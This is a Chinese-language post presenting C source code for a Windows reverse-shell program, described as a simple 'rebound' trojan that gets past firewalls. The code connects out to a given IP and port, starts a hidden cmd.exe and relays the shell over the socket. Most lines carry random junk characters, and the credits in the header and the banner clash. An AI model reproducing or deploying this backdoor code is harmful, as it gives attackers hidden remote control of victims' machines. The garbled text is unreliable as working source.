这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 -bHlFNRm
@*Ry`)T
/* ============================== /:(A9b-B
Rebound port in Windows NT t(uvc{K*
By wind,2006/7 }^&f {
===============================*/ PgT8
1u
#include ?u@jedQ
#include =f{v:n6
rz
k;Q@1
#pragma comment(lib,"wsock32.lib") sg2% BkTI
6WGg_x?3
void OutputShell(); }P.Z}n;Uj
SOCKET sClient; ;<m`mb4x[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7_76X)gIV
$Vq5U9-
void main(int argc,char **argv) xn503,5G*7
{ 5}ftiy[Yc
WSADATA stWsaData; m x |V)
int nRet; ;..z)OP_
SOCKADDR_IN stSaiClient,stSaiServer; -kMw[Y
1*dN. v:5
if(argc != 3) c:7F
2+p
{ 2*z~'i
printf("Useage:\n\rRebound DestIP DestPort\n"); uMZ~[Sz
return; <%S)6cw(3
} 3J
&Ros
fPUr O
WSAStartup(MAKEWORD(2,2),&stWsaData); VYkh@j
Z,E$4Z
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C:5-h(#
1Ng.Ukb
stSaiClient.sin_family = AF_INET; .
c+m(Pk
stSaiClient.sin_port = htons(0); 0ck3II
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i:0v6d
Qa )+Tv
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2WFZ6
{ $a*7Q~4
printf("Bind Socket Failed!\n"); 7N[".V]c
return; NOXP}M
} ?8"*B^*Sh
9>S)*lU&s
stSaiServer.sin_family = AF_INET; :! oJmvy
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 208^Yu
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); l X+~; 94
HC6U_d1-6
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e,e(t7c?d
{ kWZY+jyt P
printf("Connect Error!"); W{"sB:E
return; ?I[8rzBWU
} BA2"GJvfIA
OutputShell(); O?Bf (y
} _)
x{TnK
xyk%\&"7
void OutputShell() &`l\Q\_[@
{ B&6NjLV
char szBuff[1024]; g&xj(SMj-$
SECURITY_ATTRIBUTES stSecurityAttributes; @9HRGxJ=}
OSVERSIONINFO stOsversionInfo; nwKp8mfP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (6ga*5<
STARTUPINFO stStartupInfo; h2Nt@
char *szShell; )4=86>XJT
PROCESS_INFORMATION stProcessInformation; OA&'T*)-A6
unsigned long lBytesRead; Gc`PO
H@1'El\9
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )tI^2p{
&<98nT
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H}F
UgA;
stSecurityAttributes.lpSecurityDescriptor = 0; \+R %KA/F
stSecurityAttributes.bInheritHandle = TRUE; :$b` n
vF$(
Y/
N<:c*X
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); cj>UxU][eS
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 72OqXa*
7! >0
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z!3=.D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qy" Jt ]O
stStartupInfo.wShowWindow = SW_HIDE; e+lun
-
stStartupInfo.hStdInput = hReadPipe; agx8 *x
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; `CS\"|z
FE!jN-#
GetVersionEx(&stOsversionInfo); Ur
xiaE
{q)d
switch(stOsversionInfo.dwPlatformId) H_RfIX)X
{ gvuv>A}vJ
case 1: %(W&(eN
szShell = "command.com"; U*=E(l
break; SPb+H19;
default: kJ5z['4?
szShell = "cmd.exe";
^^"zjl*^
break; ~-A"j\gi"
} )hrsA&1w
$WIVCp
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `&D#P%
RBrb7D{
send(sClient,szMsg,77,0); ~ps,U
while(1) hAf/&yA@
{ R BHDfm'~7
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); P!+Gwm{
if(lBytesRead) z;1dMQ,#
{ T$D(Y`zdn
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]M*`Y[5"
send(sClient,szBuff,lBytesRead,0); I:TbZ*vi~
} "Wg,]$IvU
else :1*E5pX0n
{ $VHIU1JjZ
lBytesRead=recv(sClient,szBuff,1024,0); &RZO\ZT
if(lBytesRead<=0) break; ) 1AAL0F\B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); F9j@KC(yg
} tC'E#2
} BwWSztJ+B
NF8<9
return; )%@7tx
}